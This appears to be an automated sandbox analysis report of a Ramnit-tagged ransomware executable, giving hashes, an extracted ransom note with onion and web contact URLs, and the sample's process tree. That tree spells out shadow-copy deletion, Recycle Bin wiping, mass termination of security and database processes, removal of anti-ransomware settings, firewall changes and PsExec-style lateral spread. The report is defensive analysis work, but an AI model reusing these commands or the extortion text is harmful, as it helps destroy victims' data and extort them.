Overview

overview

10

Static

static

a906d1810e...17.exe

windows7_x64

10

a906d1810e...17.exe

windows10_x64

10

Analysis

  • max time kernel
    145s
  • max time network
    146s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    11-05-2021 15:19

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    a906d1810e76ee2a99e33800eef7b2f570852ec06d9bd8cfe4efb7e141334117.exe

  • Size

    65KB

  • MD5

    7fd2d168d122ef3ce5f6290eeede293d

  • SHA1

    714947ebce3dcfd5a77fe5949744e5095f04b497

  • SHA256

    a906d1810e76ee2a99e33800eef7b2f570852ec06d9bd8cfe4efb7e141334117

  • SHA512

    73294aadca19f044011c307d55a8166616e5fd7ee6a2a485faf64b36301684e250797a6cf7503192960854fde2cb78547374dd57c6eda4fc8ff1fc78fb725171

Score
10/10
ramnitbankerevasionransomwarespywarestealertrojanupxworm

Malware Config

Extracted

Path

C:\Windows\TEMP\RESTORE_FILES_INFO.txt

Ransom Note
YOUR COMPANY NETWORK HAS BEEN HACKED All your important files have been encrypted! Your files are safe! Only modified.(AES) No software available on internet can help you. We are the only ones able to decrypt your files. -------------------------------------------------------------------------------- We also gathered highly confidential/personal data. These data are currently stored on a private server. Files are also encrypted and stored securely. -------------------------------------------------------------------------------- As a result of working with us, you will receive: Fully automatic decryptor, all your data will be recovered within a few hours after it's run. Server with your data will be immediately destroyed after your payment. Save time and continue working. You will can send us 2-3 non-important files and we will decrypt it for free to prove we are able to give your files back. -------------------------------------------------------------------------------- !!!!!!!!!!!!!!!!!!!!!!!! If you decide not to work with us: All data on your computers will remain encrypted forever. YOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER! So you can expect your data to be publicly available in the near future.. The price will increase over time. !!!!!!!!!!!!!!!!!!!!!!!!! -------------------------------------------------------------------------------- It doesn't matter to us what you choose pay us or we will sell your data. We only seek money and our goal is not to damage your reputation or prevent your business from running. Write to us now and we will provide the best prices. Instructions for contacting us: ____________________________________________________________________________________ You have two ways: 1) [Recommended] Using a TOR browser! a. Download and install TOR browser from this site: https://torproject.org/ b. Open the Tor browser. Copy the link: http://promethw27cbrcot.onion/ticket.php?track=141-5D9-Y454 and paste it in the Tor browser. c. Start a chat and follow the further instructions. 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a. Open your any browser (Chrome, Firefox, Opera, IE, Edge) b. Open our secondary website: http://prometheusdec.in/ticket.php?track=141-5D9-Y454 c. Start a chat and follow the further instructions. Warning: secondary website can be blocked, thats why first variant much better and more available. _____________________________________________________________________________________ Attention! Any attempt to restore your files with third-party software will corrupt it. Modify or rename files will result in a loose of data. If you decide to try anyway, make copies before that Key Identifier: XTZiKJ/9OduPof1bobQN0z/YcfVKEc6XiFejKLiUUUlnPcMPFl6oQnImRwymxXAwhJi+e2cX8fb1/XC6ohdyWF+C1uQihbXPwVf5Ynw/4JBF4Ei0H6ZWBI1JFWVAqux/1gzqiaNK1hCvAcpsVUFm/G6eWtOwfn5HTutpEHE2vBorAMmydsM4peWVnfTnG8TAcjRdzKeWYwzuFcwTVxqlXrICyyoGhJLPRn3ALWLcWEe0U8SfAo7tdZo46M4+UG8MTNIzkHPVJ53uFsyPq63PD4Nd3nP3W2L6ereP3pB9QmemWyVTSp25SZ0iXwsMmCQP4M95vR6pDzx/qlJZ9TkAnMNjKDwI0ILUfXQ8MojM/vlYmpkZqzqg7jHn+Yq+0nocSI0gtk3nGhwutjTS+6OQVRNF59kxVhu6JjJo5u8GM9lotCkHx7nql38Jpy/zTzp7jPBuwOXoc3rDPeO1Fwh7hhfoEnXdygYc/hdnCqrXQkp1vEHx6fp7Ld7miVgF4r76agsTtBSF+khuOjhCyL2Zu/t+42tFOfj91iFZUj+CpLinl79twIcpdz/5wCYnrAOvFXSNIQ33tBF7lSixc3der73BseT0VYCmPQo711cv6AC4jdABXzaqgw4CxM/hf81AoD94+jmHKXshJ2VSxyjnAHTjB3Iv67SXSdhJGlRTd3U=
URLs

http://promethw27cbrcot.onion/ticket.php?track=141-5D9-Y454

http://prometheusdec.in/ticket.php?track=141-5D9-Y454

Signatures

  • Ramnit

    Ramnit is a versatile family that holds viruses, worms, and Trojans.

    trojanspywarestealerwormbankerramnit
  • Downloads MZ/PE file
  • Executes dropped EXE 7 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Modifies extensions of user files 3 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in System32 directory 5 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Kills process with taskkill 48 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 40 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a906d1810e76ee2a99e33800eef7b2f570852ec06d9bd8cfe4efb7e141334117.exe
    "C:\Users\Admin\AppData\Local\Temp\a906d1810e76ee2a99e33800eef7b2f570852ec06d9bd8cfe4efb7e141334117.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3876
    • C:\Users\Admin\AppData\Local\Temp\a906d1810e76ee2a99e33800eef7b2f570852ec06d9bd8cfe4efb7e141334117Srv.exe
      C:\Users\Admin\AppData\Local\Temp\a906d1810e76ee2a99e33800eef7b2f570852ec06d9bd8cfe4efb7e141334117Srv.exe
      2⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      • Suspicious use of WriteProcessMemory
      PID:1796
      • C:\Program Files (x86)\Microsoft\DesktopLayer.exe
        "C:\Program Files (x86)\Microsoft\DesktopLayer.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2140
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe"
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2444
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2444 CREDAT:82945 /prefetch:2
            5⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:204
  • C:\Windows\PSEXESVC.exe
    C:\Windows\PSEXESVC.exe
    1⤵
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:2352
    • C:\Windows\Svchost.exe
      "Svchost.exe"
      2⤵
      • Modifies extensions of user files
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4032
      • C:\Windows\system32\taskkill.exe
        "taskkill" /F /IM RaccineSettings.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3724
      • C:\Windows\system32\reg.exe
        "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
        3⤵
          PID:1060
        • C:\Windows\system32\reg.exe
          "reg" delete HKCU\Software\Raccine /F
          3⤵
          • Modifies registry key
          PID:3748
        • C:\Windows\system32\schtasks.exe
          "schtasks" /DELETE /TN "Raccine Rules Updater" /F
          3⤵
            PID:2296
          • C:\Windows\system32\sc.exe
            "sc.exe" config Dnscache start= auto
            3⤵
              PID:860
            • C:\Windows\system32\netsh.exe
              "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
              3⤵
              • Modifies data under HKEY_USERS
              PID:396
            • C:\Windows\system32\sc.exe
              "sc.exe" config SQLTELEMETRY start= disabled
              3⤵
                PID:3488
              • C:\Windows\system32\sc.exe
                "sc.exe" config FDResPub start= auto
                3⤵
                  PID:2180
                • C:\Windows\system32\sc.exe
                  "sc.exe" config SSDPSRV start= auto
                  3⤵
                    PID:3952
                  • C:\Windows\system32\sc.exe
                    "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
                    3⤵
                      PID:3688
                    • C:\Windows\system32\sc.exe
                      "sc.exe" config upnphost start= auto
                      3⤵
                        PID:792
                      • C:\Windows\system32\sc.exe
                        "sc.exe" config SstpSvc start= disabled
                        3⤵
                          PID:2256
                        • C:\Windows\system32\sc.exe
                          "sc.exe" config SQLWriter start= disabled
                          3⤵
                            PID:1432
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM mspub.exe /F
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3992
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM synctime.exe /F
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1004
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM mspub.exe /F
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2080
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM mydesktopqos.exe /F
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1704
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM Ntrtscan.exe /F
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3712
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM mysqld.exe /F
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2808
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM mydesktopservice.exe /F
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3196
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM isqlplussvc.exe /F
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3000
                          • C:\Windows\system32\netsh.exe
                            "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
                            3⤵
                            • Modifies data under HKEY_USERS
                            PID:3652
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM firefoxconfig.exe /F
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3608
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM sqbcoreservice.exe /F
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3660
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM onenote.exe /F
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3024
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM encsvc.exe /F
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3544
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM excel.exe /F
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4136
                          • C:\Windows\system32\arp.exe
                            "arp" -a
                            3⤵
                              PID:4188
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM agntsvc.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4232
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM PccNTMon.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4268
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM dbeng50.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4244
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM CNTAoSMgr.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4388
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM thebat.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4444
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM msaccess.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4476
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM thebat64.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4520
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM steam.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4600
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM sqlwriter.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4640
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM ocomm.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4672
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM outlook.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4756
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" IM thunderbird.exe /F
                              3⤵
                              • Kills process with taskkill
                              PID:4792
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM tbirdconfig.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4848
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM dbsnmp.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4868
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM infopath.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4904
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM tmlisten.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5004
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM wordpad.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5056
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM xfssvccon.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5108
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM mbamtray.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2204
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM msftesql.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4196
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM mysqld-opt.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4120
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM zoolz.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4044
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM powerpnt.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1048
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM ocautoupds.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4224
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM ocssd.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4452
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM mydesktopqos.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4272
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM oracle.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4540
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM visio.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4472
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM sqlagent.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4588
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM mydesktopservice.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4680
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM sqlbrowser.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4604
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM winword.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4740
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM sqlservr.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4856
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM mysqld-nt.exe /F
                              3⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4676
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
                              3⤵
                              • Drops file in System32 directory
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4768
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
                              3⤵
                                PID:5072
                              • C:\Windows\system32\netsh.exe
                                "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
                                3⤵
                                • Modifies data under HKEY_USERS
                                PID:2564
                              • C:\Windows\system32\netsh.exe
                                "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
                                3⤵
                                • Modifies data under HKEY_USERS
                                PID:4124
                              • C:\Windows\system32\arp.exe
                                "arp" -a
                                3⤵
                                  PID:4296
                                • C:\Windows\TEMP\eeyel4zk.exe
                                  "C:\Windows\TEMP\eeyel4zk.exe" \\10.10.0.34 -d -h -s -f -accepteula -nobanner -c "C:\Windows\Svchost.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  PID:4536
                                • C:\Windows\TEMP\eeyel4zk.exe
                                  "C:\Windows\TEMP\eeyel4zk.exe" \\10.10.0.13 -d -h -s -f -accepteula -nobanner -c "C:\Windows\Svchost.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  PID:4596
                                • C:\Windows\TEMP\eeyel4zk.exe
                                  "C:\Windows\TEMP\eeyel4zk.exe" \\10.10.0.10 -d -h -s -f -accepteula -nobanner -c "C:\Windows\Svchost.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  PID:4608
                                • C:\Windows\TEMP\eeyel4zk.exe
                                  "C:\Windows\TEMP\eeyel4zk.exe" \\10.10.0.22 -d -h -s -f -accepteula -nobanner -c "C:\Windows\Svchost.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  PID:4636
                                • C:\Windows\TEMP\eeyel4zk.exe
                                  "C:\Windows\TEMP\eeyel4zk.exe" \\10.10.0.32 -d -h -s -f -accepteula -nobanner -c "C:\Windows\Svchost.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  PID:4844
                                • C:\Windows\System32\mshta.exe
                                  "C:\Windows\System32\mshta.exe" \RESTORE_FILES_INFO.hta
                                  3⤵
                                  • Modifies data under HKEY_USERS
                                  PID:4760
                                • C:\Windows\system32\cmd.exe
                                  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
                                  3⤵
                                    PID:4836
                                    • C:\Windows\system32\PING.EXE
                                      ping 127.0.0.7 -n 3
                                      4⤵
                                      • Runs ping.exe
                                      PID:4820
                                    • C:\Windows\system32\fsutil.exe
                                      fsutil file setZeroData offset=0 length=524288 “%s”
                                      4⤵
                                      • Drops file in System32 directory
                                      PID:2080
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Svchost.exe
                                    3⤵
                                      PID:4672
                                      • C:\Windows\system32\choice.exe
                                        choice /C Y /N /D Y /T 3
                                        4⤵
                                          PID:1704

                                  Network

                                  MITRE ATT&CK Matrix ATT&CK v6

                                  Initial Access

                                  Execution

                                  Persistence

                                  Modify Existing Service

                                  1
                                  T1031

                                  Privilege Escalation

                                  Defense Evasion

                                  Modify Registry

                                  2
                                  T1112

                                  Credential Access

                                  Discovery

                                  Remote System Discovery

                                  1
                                  T1018

                                  Lateral Movement

                                  Collection

                                  Exfiltration

                                  Command and Control

                                  Impact

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • C:\Program Files (x86)\Microsoft\DesktopLayer.exe
                                    MD5

                                    ff5e1f27193ce51eec318714ef038bef

                                    SHA1

                                    b4fa74a6f4dab3a7ba702b6c8c129f889db32ca6

                                    SHA256

                                    fd6c69c345f1e32924f0a5bb7393e191b393a78d58e2c6413b03ced7482f2320

                                    SHA512

                                    c9d654ead35f40eea484a3dc5b5d0a44294b9e7b41a9bacdafdd463d3de9daa2a43237a5f113f6a9c8ea5e1366823fd3d83da18cd8197aa69a55e9f345512a7a

                                    Download Submit
                                  • C:\Program Files (x86)\Microsoft\DesktopLayer.exe
                                    MD5

                                    ff5e1f27193ce51eec318714ef038bef

                                    SHA1

                                    b4fa74a6f4dab3a7ba702b6c8c129f889db32ca6

                                    SHA256

                                    fd6c69c345f1e32924f0a5bb7393e191b393a78d58e2c6413b03ced7482f2320

                                    SHA512

                                    c9d654ead35f40eea484a3dc5b5d0a44294b9e7b41a9bacdafdd463d3de9daa2a43237a5f113f6a9c8ea5e1366823fd3d83da18cd8197aa69a55e9f345512a7a

                                    Download Submit
                                  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
                                    MD5

                                    06165dea77d5d10217992bd74f065006

                                    SHA1

                                    964d97611d8050aaf7d8a3a5e641cd20df6afd92

                                    SHA256

                                    9b125647f3ede14fa37214fe956f3b906f8bf58510bdc1eecfdf2ca4c827fe8f

                                    SHA512

                                    e126e1fdd45d2b08c37724b568a1ee9eef95895f2c31f5626186032293eb7f2a62f907fea96f1f0fca4c7de3cd9bac45df28bb69d42b2cd7ea5468e1aefdfee2

                                    Download Submit
                                  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
                                    MD5

                                    09045c7ded0f5cdcfd0ca3d7f417630c

                                    SHA1

                                    5242239d2442abf1342975f9d1ba61b535ba52a3

                                    SHA256

                                    3329f4416c8348894f1a7cac969e902c9dafb22f5313a50ffe63d0b3955e326a

                                    SHA512

                                    b9784aba04b9cdcf08fbfe4d5b83ee6e33dd58b6005520f263f3034156f966c4ac2ca2f5d2664ca615d832331f0dc192c691b3f3e298e747c3145bdd695f2c9a

                                    Download Submit
                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\167NLFYH.cookie
                                    MD5

                                    371937e9b01d2ee139fe1e2f54931310

                                    SHA1

                                    f3951e209b6a6f0783ae15202a3eefd1b9335326

                                    SHA256

                                    8a1a23ebefa8b25faaea930ffbee510eb5c239bb002b0443c5dde0dc91c3d10d

                                    SHA512

                                    cfa492142fa1adf76db0d423af78f1170cb96e0644f95a619dcf26b9baecef61222e2a0f0d7a358b23f25991c79c20c6bdd867639d5d591c347c670a22dee048

                                    Download Submit
                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\2ALH9QAL.cookie
                                    MD5

                                    f130b9dd7d680a5c17f03968213c5a31

                                    SHA1

                                    150a2377c13754bc16fca80e7c10421617baa03f

                                    SHA256

                                    8d4cb9f09f5b06ef70eb03da581e3159ca43bcf0d9c329d0fb4c31c8ca01ddfa

                                    SHA512

                                    9f125f9a0377ff02beb2f6fb178aed4455300e6520c6141fdda13bb662d0f934d8f11dcdfb1c996a0aaec2ae61c448a922a6b293b0909a6a92ee6337b2c2635e

                                    Download Submit
                                  • C:\Users\Admin\AppData\Local\Temp\a906d1810e76ee2a99e33800eef7b2f570852ec06d9bd8cfe4efb7e141334117Srv.exe
                                    MD5

                                    ff5e1f27193ce51eec318714ef038bef

                                    SHA1

                                    b4fa74a6f4dab3a7ba702b6c8c129f889db32ca6

                                    SHA256

                                    fd6c69c345f1e32924f0a5bb7393e191b393a78d58e2c6413b03ced7482f2320

                                    SHA512

                                    c9d654ead35f40eea484a3dc5b5d0a44294b9e7b41a9bacdafdd463d3de9daa2a43237a5f113f6a9c8ea5e1366823fd3d83da18cd8197aa69a55e9f345512a7a

                                    Download Submit
                                  • C:\Users\Admin\AppData\Local\Temp\a906d1810e76ee2a99e33800eef7b2f570852ec06d9bd8cfe4efb7e141334117Srv.exe
                                    MD5

                                    ff5e1f27193ce51eec318714ef038bef

                                    SHA1

                                    b4fa74a6f4dab3a7ba702b6c8c129f889db32ca6

                                    SHA256

                                    fd6c69c345f1e32924f0a5bb7393e191b393a78d58e2c6413b03ced7482f2320

                                    SHA512

                                    c9d654ead35f40eea484a3dc5b5d0a44294b9e7b41a9bacdafdd463d3de9daa2a43237a5f113f6a9c8ea5e1366823fd3d83da18cd8197aa69a55e9f345512a7a

                                    Download Submit
                                  • C:\Windows\TEMP\eeyel4zk.exe
                                    MD5

                                    6f47970bd915ab3d24f0cf5a24223718

                                    SHA1

                                    791ba6733e718d5289b5e7e13d13efb93ec5033f

                                    SHA256

                                    2c5817a56e387283e450cf2abeb4c3e97bd53de135219325c104058c533f6b60

                                    SHA512

                                    fdd894c26079854ee4d02e906bea472b49484cd4293a33edbe6c4c091473ef1ddbeb09669625166a36218501a35467a2013b59e44ee20cbc31050836e89640ac

                                    Download Submit
                                  • C:\Windows\Temp\eeyel4zk.exe
                                    MD5

                                    6f47970bd915ab3d24f0cf5a24223718

                                    SHA1

                                    791ba6733e718d5289b5e7e13d13efb93ec5033f

                                    SHA256

                                    2c5817a56e387283e450cf2abeb4c3e97bd53de135219325c104058c533f6b60

                                    SHA512

                                    fdd894c26079854ee4d02e906bea472b49484cd4293a33edbe6c4c091473ef1ddbeb09669625166a36218501a35467a2013b59e44ee20cbc31050836e89640ac

                                    Download Submit
                                  • C:\Windows\Temp\eeyel4zk.exe
                                    MD5

                                    6f47970bd915ab3d24f0cf5a24223718

                                    SHA1

                                    791ba6733e718d5289b5e7e13d13efb93ec5033f

                                    SHA256

                                    2c5817a56e387283e450cf2abeb4c3e97bd53de135219325c104058c533f6b60

                                    SHA512

                                    fdd894c26079854ee4d02e906bea472b49484cd4293a33edbe6c4c091473ef1ddbeb09669625166a36218501a35467a2013b59e44ee20cbc31050836e89640ac

                                    Download Submit
                                  • C:\Windows\Temp\eeyel4zk.exe
                                    MD5

                                    6f47970bd915ab3d24f0cf5a24223718

                                    SHA1

                                    791ba6733e718d5289b5e7e13d13efb93ec5033f

                                    SHA256

                                    2c5817a56e387283e450cf2abeb4c3e97bd53de135219325c104058c533f6b60

                                    SHA512

                                    fdd894c26079854ee4d02e906bea472b49484cd4293a33edbe6c4c091473ef1ddbeb09669625166a36218501a35467a2013b59e44ee20cbc31050836e89640ac

                                    Download Submit
                                  • C:\Windows\Temp\eeyel4zk.exe
                                    MD5

                                    6f47970bd915ab3d24f0cf5a24223718

                                    SHA1

                                    791ba6733e718d5289b5e7e13d13efb93ec5033f

                                    SHA256

                                    2c5817a56e387283e450cf2abeb4c3e97bd53de135219325c104058c533f6b60

                                    SHA512

                                    fdd894c26079854ee4d02e906bea472b49484cd4293a33edbe6c4c091473ef1ddbeb09669625166a36218501a35467a2013b59e44ee20cbc31050836e89640ac

                                    Download Submit
                                  • C:\Windows\Temp\eeyel4zk.exe
                                    MD5

                                    6f47970bd915ab3d24f0cf5a24223718

                                    SHA1

                                    791ba6733e718d5289b5e7e13d13efb93ec5033f

                                    SHA256

                                    2c5817a56e387283e450cf2abeb4c3e97bd53de135219325c104058c533f6b60

                                    SHA512

